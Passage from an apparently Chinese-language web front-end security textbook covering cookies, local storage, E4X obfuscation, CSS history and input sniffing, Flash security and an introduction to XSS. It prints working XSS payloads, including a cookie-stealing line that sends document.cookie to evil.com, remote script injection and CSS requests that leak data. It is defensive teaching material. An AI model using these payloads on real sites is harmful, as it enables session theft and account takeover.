    {"text": "如果没设置过期时间，就是内存Cookie，这样的Cookie会随着浏览器的关闭而从内存中消失； 如果设置了过期时间是未来的某个时间点，那么这样的Cookie就会以文本形式保存在操作系统本地，待过期时间到了才会消失。 示例（GMT时间，2112年1月1日才会过期）如下： document.cookie=\"test_expires=1; expires=Mon, 01 Jan 2112 00:00:00 GMT;\" 很多网站为了提升用户体验，不需要每次都登录，于是采用本地Cookie的方式让用户在未来1个月、半年、永久等时间段内都不需要进行登录操作。"},
    {"text": "通常，用户体验与风险总是矛盾的，体验好了，风险可能也变大了，比如，攻击者通过XSS得到这样的本地Cookie后，就能够在未来很长一段时间内，甚至是永久控制着目标用户的账号权限。"},
    {"text": "在IE下默认都是不允许第三方域设置的，除非foo域在响应的时候带上P3P字段，如： P3P: CP=\"CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR\" 该字段的内容本身意义不大，不需要记，只要知道这样设置后，被加载的目标域的Cookie就可以被正常设置了。 设置后的Cookie在IE下会自动带上P3P属性（这个属性在Cookie中是看不到的），一次生效，即使之后没有P3P头，也有效。 （2）发送Cookie 发送的Cookie如果是内存Cookie，则无所谓是否有P3P属性，就可以正常发送； 如果是本地Cookie，则这个本地Cookie必须拥有P3P属性，否则，即使目标域响应了P3P头也没用。"},
    {"text": "（1）给hosts文件添加www.foo.com与www.evil.com域。 （2）将如下代码保存为foo.php，并保证能通过www.foo.com/cookie/foo.php访问到。"},
    {"text": "<?php //header('P3P: CP=\"CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR\"'); setcookie(\"test0\", 'local', time()+3600*3650); setcookie(\"test_mem0\", 'memory'); var_dump($_COOKIE); ?> （3）将如下代码保存为evil.php，并保证能通过www.evil.com/cookie/evil.php访问到。 <iframe src=\"http://www.foo.com/cookie/foo.php\"></iframe> （4）IE浏览器访问www.evil.com/cookie/evil.php，通过fiddler等浏览器代理工具可以看到foo.php尝试设置Cookie，当然由于没响应P3P头，所以不会设置成功。 （5）将foo.php的P3P响应功能的注释去掉，再访问www.evil.com/cookie/evil.php，可以发现本地Cookie（test0）与内存Cookie（test_mem0）都已设置成功。 （6）修改foo.php里的Cookie名，比如，test0改为test1，test_mem0改为test_mem1等，注释P3P响应功能，然后直接访问www.foo.com/cookie/foo.php，这时会设置本地Cookie（test1）与内存Cookie（test_mem1），此时这两个Cookie都不带P3P属性。 （7）再通过访问www.evil.com/cookie/evil.php，可以发现内存Cookie（test_mem1）正常发送，而本地Cookie（test1）没有发送。 （8）继续修改foo.php里的Cookie名，test1改为test2，test_mem1改为test_mem2，去掉P3P响应功能的注释，然后直接访问www.foo.com/cookie/foo.php，此时本地Cookie（test2）与内存Cookie（test_mem2）都有了P3P属性。 （9）这时访问www.evil.com/cookie/evil.php，可以发现test2与test_mem2都发送出去了。"},
    {"text": "2.5.5 本地存储风险 浏览器的本地存储方式有很多种，常见的如表2-1所示。 表2-1 本地存储描述 本地存储的主要风险是被植入广告跟踪标志，有的想删都不一定能删除干净。"},
    {"text": "PNG Cache，将Cookie转换成RGB值描述形式，以PNG Cache方式强制缓存着，读入则以HTML5的canvas对象读取并还原为原来的Cookie值。 类似PNG Cache机制的还有HTTP Etags、Web Cache，这三种本质上都是利用了浏览器缓存机制：浏览器会优先从本地读取缓存的内容。"},
    {"text": "<div id=\"x\"></div> <script> function set_ud(key,value) { var a = document.getElementById('x'); //x为任意div的id值 a.addBehavior(\"#default#userdata\"); a.setAttribute(key,value); a.save(\"db\"); } function get_ud(key) { var a = document.getElementById('x'); a.addBehavior(\"#default#userdata\"); a.load(\"db\"); alert(a.getAttribute(key)); } function del_ud(key) { var a = document.getElementById('x'); a.addBehavior(\"#default#userdata\"); a.setAttribute(key, \"\"); //设置为空值即可 a.save(\"db\"); } window.onload = function(){ set_ud('a','xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); //设置 get_ud('a'); //获取a的值 del_ud('a'); //删除a的值 get_ud('a'); //获取a的值 }; </script> 3. localStorage HTML5的本地存储localStorage是大势所趋，如果仅存储在内存中，则是sessionStorage。 它们的语法都一样，仅仅是一个存储在本地文件系统中，另一个存储在内存中（随着浏览器的关闭而消失），其语句如下： localStorage.setItem(\"a\", \"xxxxxxxxxxxxxxx\"); //设置 localStorage.getItem(\"a\"); //获取a的值 localStorage.removeItem(\"a\"); //删除a的值 注意，localStorage无法跨浏览器存在。 如表2-2所示的5大浏览器现在都支持以localStorage方式进行存储，其中，Chrome、Opera、Safari这3款浏览器中都有查看本地存储的功能模块。 但是不同的浏览器对localStorage存储方式还是略有不同的。 表2-2是5大浏览器localStorage的存储方式。 表2-2 5大浏览器localStorage存储方式 通过上面的描述可以看出，除了Opera浏览器采用BASE64加密外（BASE64也是可以轻松解密的），其他浏览器均采用明文存储数据。"},
    {"text": "我们知道，通常可以使用XSS漏洞来获取到Cookie，然后用这个Cookie进行身份验证登录。 通过前面的知识可以知道，后来为了防止通过XSS获取Cookie数据，浏览器支持使用HttpOnly来保护Cookie不被XSS攻击获取到。"},
    {"text": "function set_lso(k:String=\"default\", v:String=\"\"):void { //设置值 var shared:SharedObject = SharedObject.getLocal(\"db\"); shared.data[k] = v; shared.flush(); } function get_lso(k:String=\"default\"):String { //获取值 var str:String = \"\"; var shared:SharedObject = SharedObject.getLocal(\"db\"); str = shared.data[k]; return str; } function clear_lso():void { //清空值 var shared:SharedObject = SharedObject.getLocal(\"db\"); shared.clear(); } 2.5.6 E4X带来的混乱世界 E4X是ECMAScript For XML的缩写。"},
    {"text": "对于JavaScript来说，当前只有Firefox支持E4X，这种技术是将XML作为JavaScript的对象，直接通过如下形式声明： <script> foo=<foo><id name=\"thx\">x</id></foo>; //注意，没有引号包围 alert(foo.id); //弹出XML的id标签节点的值：x </script> 通过使用E4X技术，可以混淆JavaScript代码，甚至绕开一些过滤规则。"},
    {"text": "可以这样： alert(foo.id.@name); //访问属性节点用@符号，id字符串可以省略，直接下面这样： alert(foo..@name); 更进一步： alert(<foo>hi</foo>); //弹出hi，继续缩短代码？ 像下面这样： alert(<>hi</>) //也弹出hi，注意，没引号 于是我们可以考虑将脚本放到XML数据中，比如，x=<>alert('hello')</>（将整个XML数据赋值给x），然后获取这个XML数据，并将eval显示出来：eval(x+[])，注意，[]不可少。"},
    {"text": "比如：x=<>alert('hello')</>是无法自执行的，改为：x=<>{alert('hello')}</>就行了，即加个花括弧，表示里面是要执行的脚本。"},
    {"text": "通过上面这些技巧，可以很好地理解如下混淆的代码： ① Function(<text>\\u0061{new String}lert(0)</text>)() ② Function(<text>aler{[]}t('cool')</text>)() ③ Function(<text><x y=\"a\"></x><x y=\"lert\"></x><x y=\"(123)\"></x></text>..@y)() ④ location=XML(<x>java{[]}script:ale{[]}rt(/I am e4x/.source)</x>) ⑤ location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text> ⑥ eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[]) 针对上面6个混淆样例，说明如下： 样例①与样例②中，花括弧{}内执行的是脚本表达式，new String返回空，[]也返回空，那么alert就是一个完整的，并且可以对其进行编码：十六进制、十进制等。"},
    {"text": "2.5.7 JavaScript函数劫持 JavaScript函数劫持很简单，一般情况下，只要在目标函数触发之前，重写这个函数即可，比如，劫持eval函数的语句如下： var _eval=eval; eval = function(x){ if(typeof(x)=='undefined'){return;} alert(x); //这之前可以写任意代码 _eval(x); }; eval('alert(1)'); //这时的eval会先弹出它的参数值，然后才是动态执行参数值 曾经的浏览器劫持document.write、document.writeln也同样是这样的方式，不过在IE 9及Firefox、Chrome等新一代浏览器下，这个方式需要做改变，如下： var _write = document.write.bind(document); //注意到 bind 方法，可以将目标绑定到 document 对象上，这样_write 执行时就不会报错， //否则会因为默认在window对象下寻找write方法而导致报错，因为该方法不存在 document.write = function(x){ if(typeof(x)=='undefined'){return;} //这可以写任意代码 _write(x); }; //除了bind技巧外，还可以这样： var _write = document.write; document.write = function(x){ if(typeof(x)=='undefined'){return;} //这可以写任意代码 _write.call(document,x); //call方法，第一个参数表明要绑定到的对象 }; document.write(\"<script>alert(1)</script>\"); //这样就劫持住了 函数劫持有什么用？"},
    {"text": "2.6 一个伪装出来的世界——CSS CSS即层叠样式表，用于控制网页的呈现样式，如颜色、字体、大小、高宽、透明、偏移、布局等，通过灵活运用CSS技巧，攻击者可以伪装出期望的网页效果，从而进行钓鱼攻击。"},
    {"text": "2.6.1 CSS容错性 CSS具有非常高的容错性，比如，如下代码： <link rel=\"stylesheet\" href=\"test.html\"><!--和后缀无关--> <h1>xxxx</h1> <h2>yyyy</h2> test.html的代码如下： h1{font-size:50px;color:red; </style> <div>xxxx</div> }h2{color:green;} h1的样式块里出现了非法的字符串，但是并不影响h2样式块的解析，h1与h2的样式都正常生效了，如果在h1之前有大段非法字符，如何保证h1的代码顺利解析？"},
    {"text": "可以这样： <title>1</title> ... <div>...</div> {}h1{font-size:50px;color:red; </style> <div>xxxx</div> }h2{color:green;} 在h1之前加上{}即可，如果是在IE下，加上}即可，这是浏览器解析差异导致的。"},
    {"text": "表2-3 <a>标签的4个伪类 曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的，原理很简单，就是准备一批常用的链接，然后批量生成如下形式： <a href=\"http://www.baidu.com/\" id=\"a1\">http://www.baidu.com/</a><br /> <a href=\"http://www.17173.com/\" id=\"a2\">http://www.17173.com/</a><br /> <a href=\"http://www.joy.cn/\" id=\"a3\">http://www.joy.cn/</a><br /> <a href=\"http://www.qq.com/\" id=\"a4\">http://www.qq.com/</a><br /> <a href=\"http://www.rayli.com.cn/\" id=\"a5\">http://www.rayli.com.cn/</a><br /> 并针对id设置对应的:visited样式，语句如下： #a1:visited {background: url(http://www.evil.com/css/steal.php?data=a1);} #a2:visited {background: url(http://www.evil.com/css/steal.php?data=a2);} #a3:visited {background: url(http://www.evil.com/css/steal.php?data=a3);} #a4:visited {background: url(http://www.evil.com/css/steal.php?data=a4);} #a5:visited {background: url(http://www.evil.com/css/steal.php?data=a5);} 如果其中的某链接之前访问过（也就是存在于历史记录中的），那么:visited就会触发，随后会发送一个唯一的请求到目标地址，这样就可以知道被攻击者的历史记录是否有这个链接，不过这个方式已经被浏览器修补了。 但还有一些伪类是有效的，比如::selection伪类，当指定对象区域被选择时，就会触发::selection，这个在Chrome下有效，代码如下： <style> #select{border:1px dashed #09c;} #select::selection{background: url(http://www.evil.com/css/steal.php?data=selection);} </style> <div id=\"select\">select me</div> 这个有何危害？"},
    {"text": "2.6.4 CSS3的属性选择符 CSS3增加了属性选择符，利用属性选择符可以通过纯CSS猜测出目标input表单项的具体值，表2-4列出了CSS3属性选择符。 表2-4 CSS3属性选择符 看一个简单的样例，判断目标input表单项的值是否以x开头，如果是，则会触发一次唯一性请求（这个属性选择符目前在IE 9下仍无效）： <style> input[value^=\"x\"]{background: url(http://www.evil.com/css/steal.php?data=0x);} </style> attr selector: <input type=\"text\" value=\"xyz\" /><br /> [ok] ff12/chrome19/opera12<br /><br /> 如果value的值是ASCII码，要猜测出是x打头的，则最多需要请求127次。"},
    {"text": "这种技巧没有实战价值，不过其思路非常值得我们学习，它最早是由Gareth Heyes等于2008年在微软内部安全会议BlueHat上提出的，这种攻击完全不需要JavaScript的参与。"},
    {"text": "ActionScript由Flash的脚本虚拟机执行，运行环境就在Flash Player中，而Flash Player的运行环境主要有两个：浏览器与操作系统本地，Flash有自己的安全沙箱来限制ActionScript的能力，否则通过ActionScript可以进行很多危险的操作，这就是所谓的恶意Flash，它就像幽灵一样，甚至比JavaScript带来的威胁还难以察觉。"},
    {"text": "本节将介绍Flash安全的基础知识，这些基础知识对深入理解Flash安全非常重要，浏览器有自己的法则，Flash其实是独立于浏览器的，它的法则尽可能做到像浏览器这样完备的程度，不过又有很多自己的特点，所以Flash安全研究起来有种在另一个世界的感觉。"},
    {"text": "实际上，如果把这些章节中Flash相关的内容拼凑起来，就是Flash安全的一个比较完整的专题。 大家如果仅想关注Flash安全，可以根据上面提供的章节线索，跳着看，下面开始进入基础知识的正题。 2.7.1 Flash安全沙箱 了解Flash安全之前，需要先了解清楚Flash的安全策略。 Flash安全沙箱是用来制定ActionScript的游戏规则的，我们来看看这些规则。"},
    {"text": "3）Web站点控制（跨域策略文件） Web站点控制就是家喻户晓的crossdomain.xml文件了，现在的安全策略是该文件默认只能存放在站点根目录下，文件格式如下： <?xml version=\"1.0\"?> <cross-domain-policy> <allow-access-from domain=\"*\" /> </cross-domain-policy> 例如，http://www.youku.com/crossdomain.xml（如图2-7所示），通过该文件的配置可以提供允许的域跨域访问本域上内容的权限。 图2-7 优酷的crossdomain.xml通配符 这个配置文件有一个有意思的节点： <site-control permitted-cross-domain-policies=\"all\"/> 如果没这个节点，默认只允许加载域名根目录下的主策略文件。"},
    {"text": "4）作者（开发人员）控制 开发人员可以通过编码（在ActionScript脚本中）指定允许的安全控制权限，语句如下： Security.allowDomain(\"www.evil.com\"); 当然，都支持通配符*，使用这个通配符时要谨慎，以免带来不必要的安全风险。"},
    {"text": "2. 安全沙箱 Flash Player的权限控制设置完后，下面看看安全沙箱。 1）远程沙箱 这个远程沙箱控制着远程域上浏览器环境中的安全策略，比如，www.evil.com域中的Flash文件就无法直接与www.foo.com域上的Flash文件交互。 同一个域（严格域）下的所有文件属于一个沙箱，沙箱内的对象是可以互相访问的，而沙箱之间的对象如果需要交互，就需要前面介绍的“Web站点控制（跨域策略文件）”与“作者（开发人员）控制”进行。"},
    {"text": "只能与本地文件系统内容交互的本地沙箱：顾名思义，就是该Flash文件在本地运行时是不能与网络上的对象进行通信的，而只能与本地对象进行交互。 只能与远程内容交互的本地沙箱：此时的Flash文件要与远程域对象交互时，需在远程域上通过策略文件或以Security.allowDomain编码方式来设置访问策略（同远程沙箱），此时不能访问本地文件。 受信任的本地沙箱：上面介绍的权限控制中，管理用户与普通用户都有Flash Player信任目录的控制权限，我们只要将SWF文件放到受信任目录内运行，那么这个Flash文件就可以与本地域和远程域通信了。"},
    {"text": "如通过Security.sandboxType的值来确定： Security.REMOTE（远程沙箱） Security.LOCAL_WITH_FILE（只能与本地文件系统内容交互的本地沙箱） Security.LOCAL_WITH_NETWORK（只能与远程内容交互的本地沙箱） Security.LOCAL_TRUSTED（受信任的本地沙箱） 2.7.2 HTML嵌入Flash的安全相关配置 本节介绍HTML嵌入Flash的一些安全相关的配置。"},
    {"text": "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"550\" height=\"400\" id=\"targetswf\"> <param name=\"movie\" value=\"http://www.foo.com/hi.swf\" /> <param name=\"allowScriptAccess\" value=\"always\" /> <param name=\"allowNetworking\" value=\"all\"> <param name=\"allowFullScreen\" value=\"true\"> <param name=\"flashvars\" value=\"a=1 \"> <!--[if !IE]>--> <object type=\"application/x-shockwave-flash\" data=\"http://www.foo.com/hi.swf\" width=\"550\" height=\"400\"> <param name=\"movie\" value=\"http://www.foo.com/flash/hi.swf\" /> <param name=\"allowScriptAccess\" value=\"always\" /> <param name=\"allowNetworking\" value=\"all\"> <param name=\"allowFullScreen\" value=\"true\"> <param name=\"flashvars\" value=\"a=1\"> </object> <!--<![endif]--> </object> 1）allowNetworking 该参数控制Flash文件的网络访问功能，它有三个值：all（所有的网络API都可用）、internal（默认值，除了不能使用浏览器导航和浏览器交互的API外，如navigate ToURL、fscommand、ExternalInterface.call等，其他的都可用）、none（所有的网络API都不可用）。"},
    {"text": "有三个值：never（ExternalInterface的call方法不能与HTML的JS脚本进行通信）、sameDomain（同域内就可以，这是默认值）、always（允许所有的域，因此，比较危险）。"},
    {"text": "有一点需要特别注意，当我们直接在浏览器里访问Flash文件时，比如： http://www.foo.com/test.swf 此时上面这几个属性的值会是什么呢？ 我们可以在Chrome下访问任意的Flash文件，然后按F12键查看HTML，发现内容如图2-8所示。 图2-8 针对直接加载swf文件，默认的HTML代码 浏览器会自动给这个Flash文件生成对应的HTML，当allowScriptAccess、allowNetworking和allowFullScreen这三个属性都没有时，就用默认值。"},
    {"text": "2.7.3 跨站Flash 跨站Flash也称Cross Site Flash（XSF），即通过ActionScript来加载第三方Flash文件，攻击者如果对这个过程可控，那么他们就可以让目标Flash加载恶意的Flash文件，从而造成XSF攻击。"},
    {"text": "在AS2中，loadMove等函数可以加载第三方Flash文件，如： //AS2代码： _root.loadMovie(_root.swf); //利用链接： http://www.foo.com/load2.swf?swf=http://www.evil.com/evil.swf 在AS3中，已不存在这个函数了，改为通用的Loader类来进行各种外部数据处理，如： //AS3代码： var param:Object = root.loaderInfo.parameters; var swf:String = param[\"swf\"]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader); //利用链接： http://www.foo.com/load3.swf?swf=http://www.evil.com/evil.swf 题外话： 是不是第一眼发现AS2更简洁？"},
    {"text": "当第三方的evil.swf被加载进目标Flash的上下文时，就受到了目标Flash的沙盒限制。 从前面的知识可以知道，如果是浏览器直接加载这样的链接，下面的各个属性值为： allowScriptAccess='sameDomain' allowNetworking='internal' allowFullScreen='false' 此时，evil.swf的能力就受到了限制。 如果目标Flash所在的HTML页面存在swf参数间接可控，那么evil.swf能力也许还能被打开。 如： http://www.foo.com/load.html代码如下： <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"550\" height=\"400\" id=\"targetswf\"> <param name=\"movie\" value=\"http://www.foo.com/load3.swf\" /> <param name=\"allowScriptAccess\" value=\"always\" /> <param name=\"allowNetworking\" value=\"all\"> <param name=\"allowFullScreen\" value=\"true\"> <param name=\"flashvars\" value=\"[攻击者可控] \"> <!--[if !IE]>--> <object type=\"application/x-shockwave-flash\" data=\"http://www.foo.com/load3.swf\" width=\"550\" height=\"400\"> <param name=\"movie\" value=\"http://www.foo.com/load3.swf\" /> <param name=\"allowScriptAccess\" value=\"always\" /> <param name=\"allowNetworking\" value=\"all\"> <param name=\"allowFullScreen\" value=\"true\"> <param name=\"flashvars\" value=\"[攻击者可控]\"> </object> <!--<![endif]--> </object> HTML中的flashvars参数可以设置目标Flash的参数，如果这个HTML攻击者可以控制flashvars的值，比如，通过反射或DOM XSS设置该值为： swf=http://www.evil.com/evil.swf 当HTML加载完成后，load3.swf就会加载http://www.evil.com/evil.swf。 由于此时有如下语句： allowScriptAccess='always' allowNetworking='all' allowFullScreen='true' evil.swf的威力就可以尽情地发挥了。"},
    {"text": "这种文本形式的网络请求一般通过URLLoader与URLRequest类组合进行，如： var req:URLRequest = new URLRequest('http://www.foo.com/hi.xml') //URLRequest实例 var loader:URLLoader = new URLLoader(); //URLLoader实例 loader.addEventListener(Event.COMPLETE,get_complete); //加载完成后会触发get_complete函数去处理 loader.load(req); function get_complete(event:Event) { var d:String = String(event.target.data); trace(d); } 我们发现在真实的例子中，很多第三方XML地址是攻击者可控的，如果目标Flash过于信任第三方XML里的数据，就很可能导致安全问题。"},
    {"text": "除了这些，有一点需要特别注意，关于AS2中如此灵活的参数控制，示例如下： function VulnerableMovie() { _root.createTextField(\"tf\",0,100,100,640,480); if (_root.i1 != null) { _root.loadMovie(_root.i1); //风险点1 } _root.tf.html = true;//default is safely false _root.tf.htmlText = \"Hello \" + _root.i2; //风险点2 if (_root.i3 != null) { getURL(_root.i3); //风险点3 } } VulnerableMovie(); 这个样例中，i1、i2、i3参数都直接从_root中获取，如果未初始化，通过URL传参方式就可以控制这些值，这个风险实际上就是经典的“全局变量未初始化问题”（PHP就是这样）。 实际上，我们发现大多数AS2的Flash都存在全局变量未初始化的问题（包括以安全闻名的Google），除了来自_root对象的参数是这样，还有_global对象与_level0对象。"},
    {"text": "2.7.5 Flash里的内嵌HTML 我们认为这样的机制真是鸡肋，用得少，还带来了潜在的安全风险。 Flash内嵌HTML不能很随意，且支持的标签有限，如表2-6所示。 表2-6 Flash内嵌的HTML标签 标签 说明 <a>仅支持target与href属性，href属性说明如下： ①支持JavaScript伪协议；"},
    {"text": "②AS2支持asfunction伪协议，可以调用AS函数，如getURL等； ③AS3支持event:事件协议，需要设置监听点击事件 img ①src属性曾经支持JavaScript伪协议； ②无论AS2还是AS3，都支持直接嵌入swf文件解析，这点与跨站Flash类似 <b><u><i><font><span><p><br><li>等，与安全没有关系 下面重点介绍<a>标签与<img>标签。 1）<a>标签 由于AS2与AS3的href属性支持JavaScript伪协议，那么就可以在用户单击的情况下触发任意的JavaScript。"},
    {"text": "AS2的href属性支持asfunction协议，这个协议是AS2为了扩充内嵌HTML能力而引进的，本意是为了在这样的HTML中更好地调用AS2已有函数进行灵活交互。"},
    {"text": "如： this.createTextField(\"t\", this.getNextHighestDepth(), 10, 10, 500, 500); //创建一个TextField实例 t.html = true; //开启html支持 t.htmlText = 'as2: <a href=\"asfunction:myFunction,abc\">click1</a>'; t.htmlText += '<a href=\"asfunction:getURL,javascript:alert(document. documentElement.innerHTML)\">click2</a>'; function myFunction (param) { t.htmlText += param+'-'; } 上述代码中，对于第一个click1，asfunction协议后第一个参数是AS2函数名，第二个参数是AS2函数的参数。 第二个click2也一样，不过这样直接利用内置函数getURL来执行JavaScript。 AS3的href属性不再支持asfunciton协议，而改为支持event事件协议，语句如下： var t:TextField = new TextField(); //实例化TextField对象 t.width = 500; t.height = 300; t.htmlText += '<a href=\"event:javascript:alert(document.documentElement.innerHTML)\">click1</a>'; t.addEventListener(\"link\", clickHandler); //监听链接点击事件 addChild(t); //将TextField实例附加进Flash上下文 function clickHandler(e:TextEvent):void { navigateToURL(new URLRequest(e.text),\"_self\"); } 当单击click1时，触发clickHandler函数，通过navigateToURL方式执行JavaScript。 2）<img>标签 img src可以直接嵌入第三方Flash文件，导致的效果其实就是“跨站Flash”，嵌入方式如下： <img src='http://www.evil.com/evil.swf'> 2.7.6 与JavaScript通信 1. getURL()与navigateToURL() getURL()函数在AS3中已经不被支持了，在AS2中是支持的，并且getURL()与Flash Player的版本无关，都是兼容的。 所以，只要我们使用AS2来写getURL()，用XSS还是可以的，语句如下： getURL(\"javascript:alert(1)\"); //直接执行JavaScript伪协议 在AS3中，我们可以使用navigateToURL()来代替getURL()，代码如下： navigateToURL(new URLRequest('javascript:alert(1)'),\"_self\"); 2. ExternalInterface AS2与AS3都有这个对象，是专门为Flash与JavaScript通信准备的接口，下面以AS3的ExternalInterface为例进行介绍，样例如下： import flash.external.ExternalInterface; function get_watermark(k:String=\"default\"):String {//获取Flash Cookie var shared:SharedObject = SharedObject.getLocal(\"cookie\"); var str = shared.data[k]; return str; } function set_watermark(k:String=\"default\", v:String=\"\"):void { //设置Flash Cookie var shared:SharedObject = SharedObject.getLocal(\"cookie\"); shared.data[k] = v; shared.flush(); } //下面注册这两个函数，让JavaScript可以通过注册的接口名直接调用 //addCallback方法的第一个参数是要注册的接口名，第二个是AS函数名 ExternalInterface.addCallback(\"set_watermark\", set_watermark); ExternalInterface.addCallback(\"get_watermark\", get_watermark); //调用外部JavaScript函数 //call方法的第一个参数是JavaScript函数名，第二个是参数 ExternalInterface.call(\"eval\",\"alert(/ready/)\"); 然后在如下HTML中加载该Flash文件： <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" id=\"swf_ie\"> <param name=\"movie\" value=\"test.swf\" /> <param name=\"allowScriptAccess\" value=\"always\" /> <embed id=\"swf_ff\" src=\"test.swf\" allowScriptAccess=\"always\"></embed> </object> <script> function $(id){return document.getElementById(id);} function swfobj() { //获取加载进的Flash对象 if (navigator.appName.indexOf(\"Microsoft\") != -1) { return $('swf_ie'); } else { return $('swf_ff'); } } setTimeout(function(){ swfobj().set_watermark('test', 'hello lso'); //设置Flash Cookie alert(swfobj().get_watermark('test')); //获取Flash Cookie },3000) //延时3秒，等待test.swf加载完成 </script> ExternalInterface.call有一个非常有意思的特性。"},
    {"text": "比如，如下AS代码： ExternalInterface.call('alert','userinput'); 当通过浏览器直接访问这个Flash文件时，在浏览器上下文中生成对应的一段JavaScript代码为： try { __flash__toXML(alert(\"userinput\")) ; } catch (e) { \"<undefined/>\"; } 第一个参数alert用双引号\"来包住第二个参数userinput。"},
    {"text": "这个方法最早是lcamtuf在自己的blog（http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html）上提到的，cn_ben和superhei都先后总结了该技巧。"},
    {"text": "当注入的JavaScript含有\"符号，会被转义为\\\"，可如果注入\\\"，就会被转义为\\\\\"，这样，\"符号就变得有意义了（这是一个安全BUG），也就可以闭合之前的双引号，构造出完全独立的JavaScript，比如提交如下代码： http://www.foo.com/flash/lso.swf?x=\\\"));alert(document.domain)}catch(e){}// 提交后，浏览器上下文生成对应的JavaScript为： try { __flash__toXML(alert(\"\\\"));alert(document.domain)}catch(e){}//\")) ; } catch (e) { \"<undefined/>\"; } 这时就出现了我们期望的alert(document.domain)，效果如图2-9所示。"},
    {"text": "前面已经介绍了URLLoader与URLRequest组合进行文本数据的请求，这是AS3中绝佳的组合，GET/POST数据都很方便（有关的基础知识使用请看官方手册），如果仅是发送数据出去，而不需要得到响应，则直接用sendToURL函数+URLRequest组合。"},
    {"text": "2.7.8 其他安全问题 我们发现Flash的一些重要数据或逻辑运算直接在本地进行（比如，Flash WebGame），开发者以为Flash的代码不像JavaScript那样容易被发现？"},
    {"text": "第3章 前端黑客之XSS 通常，我们提到Web前端安全时，第一个想到的就是XSS，它的全称为Cross Site Scripting，即跨站脚本，其实重点已经不在“跨站”这个字面上（原因会在后面谈到），而是“脚本”。"},
    {"text": "比如，一个小企业网站与一个流行的社交网站对比，小企业几乎不会在意XSS，因为实际上危害事件发生的概率是很低的，甚至早期一些大网站（包括社交网站、电子商务网站、银行门户等）都很少在意这个漏洞。"},
    {"text": "3.1 XSS概述 XSS即跨站脚本，发生在目标网站中目标用户的浏览器层面上，当用户浏览器熏染整个HTML文档的过程中出现了不被预期的脚本指令并执行时，XSS就会发生。"},
    {"text": "因为这个“跨”实际上属于浏览器的特性，而不是缺陷，造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源，这样做是有原因的，我们知道，任何安全问题都有“输入”的概念，很多时候输入的内容长度是有限制的。 真正的XSS攻击弹出窗毫无意义，所以攻击代码可能会比较长，一般会注入类似下面的代码来引用第三方域上的脚本资源： <script src=\"http://www.evil.com/xss.js\"></script> 这样的好处还有一个：攻击代码容易控制。"},
    {"text": "实际上，script标签可以嵌入第三方资源，这是浏览器允许的，对于嵌入的脚本内容，会与本域的脚本内容一样，在整个脚本上下文环境中存在。 对于上面这个例子，虽然xss.js的文件资源在www.evil.com上，但脚本内容却属于嵌入对象所在的浏览器上下文环境中。"},
    {"text": "而有的时候，并不按照浏览器允许的策略执行（同源策略），那这就是一次真正意义上的跨站了。 为了区分它们，通常叫做跨域脚本，突破的是浏览器同源策略。"},
    {"text": "3.1.2 一个小例子 有了这些概念后，下面看看1.1节“数据与指令”的这个例子： <script> eval(location.hash.substr(1)); </script> 将上面这段内容保存为xssme.html，然后用浏览器打开，如图3-1所示。"},
    {"text": "看代码其实很容易知道，eval动态执行的是location.hash中的值，也就是地址栏URL最后跟着的#xxx这段内容，比如，我们按图3-2所示的执行请求。"},
    {"text": "图3-2 xssme.html弹出窗 这里弹出一个框，因为在浏览器解析执行JavaScipt时，最终执行的是： eval('alert(1)'); 真实的攻击中，我们需要替换alert(1)这样的脚本为真正有杀伤力的脚本内容，这就是漏洞利用过程中需要仔细考虑的事。 如前面提到的经常会加载第三域的脚本资源，比如： http://www.foo.com/xssme.html#document.write(\"<script/src=//www.evil.com/alert.js></script>\") 这样我们可以将更多的XSS利用代码放在www.evil.com上的alert.js文件中，非常方便。 都准备充足后，将这个链接发给目标用户，并欺骗其点击，目标用户的浏览器就会开始执行我们构造的恶意脚本，比如，一段盗取用户Cookie的脚本： new Image().src=\"http://www.evil.com/steal.php?data=\"+escape(document.cookie); 攻击发生后，目标用户的Cookie信息就会被盗取，然后攻击者就可以利用该Cookie控制目标用户的账号权限。"},
    {"text": "所以，XSS的整个过程中，从漏洞挖掘到漏洞利用，再到进一步利用，各环节都需要看场景，场景通常包括网站对象、浏览器对象、攻击用户对象等。 总之，我们可以通俗地总结XSS为：想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。"},
    {"text": "3.2.1 反射型XSS 发出请求时，XSS代码出现在URL中，作为输入提交到服务端，服务端解析后响应，在响应内容中出现这段XSS代码，最后浏览器解析执行。"},
    {"text": "<?php echo $_GET['x']; ?> 输入x的值未经任何过滤就直接输出，可以提交： http://www.foo.com/xss/reflect1.php?x=<script>alert(1)</script> 服务端解析时，echo就会完整地输出<script>alert(1)</script>到响应体中，然后浏览器解析执行触发。"},
    {"text": "<?php header('Location: '.$_GET['x']); ?> 输入x的值作为响应头部的Location字段值输出，意味着会发生跳转，触发XSS的其中一种方式如下。"},
    {"text": "http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b 跳转到data:协议上，text/html是MIME或Content-Type，表明文档类型，base64是指后面字符串的编码方式，后面这段base64解码后的值为： <script>alert(document.domain)</script> 于是，当发生跳转时，就会执行这段JS。"},
    {"text": "3.2.2 存储型XSS 存储型XSS和反射型XSS的差别仅在于：提交的XSS代码会存储在服务端（不管是数据库、内存还是文件系统等），下次请求目标页面时不用再提交XSS代码。"},
    {"text": "最典型的例子是留言板XSS，用户提交一条包含XSS代码的留言存储到数据库，目标用户查看留言板时，那些留言的内容会从数据库查询出来并显示，浏览器发现有XSS代码，就当做正常的HTML与JS解析执行，于是就触发了XSS攻击。"},
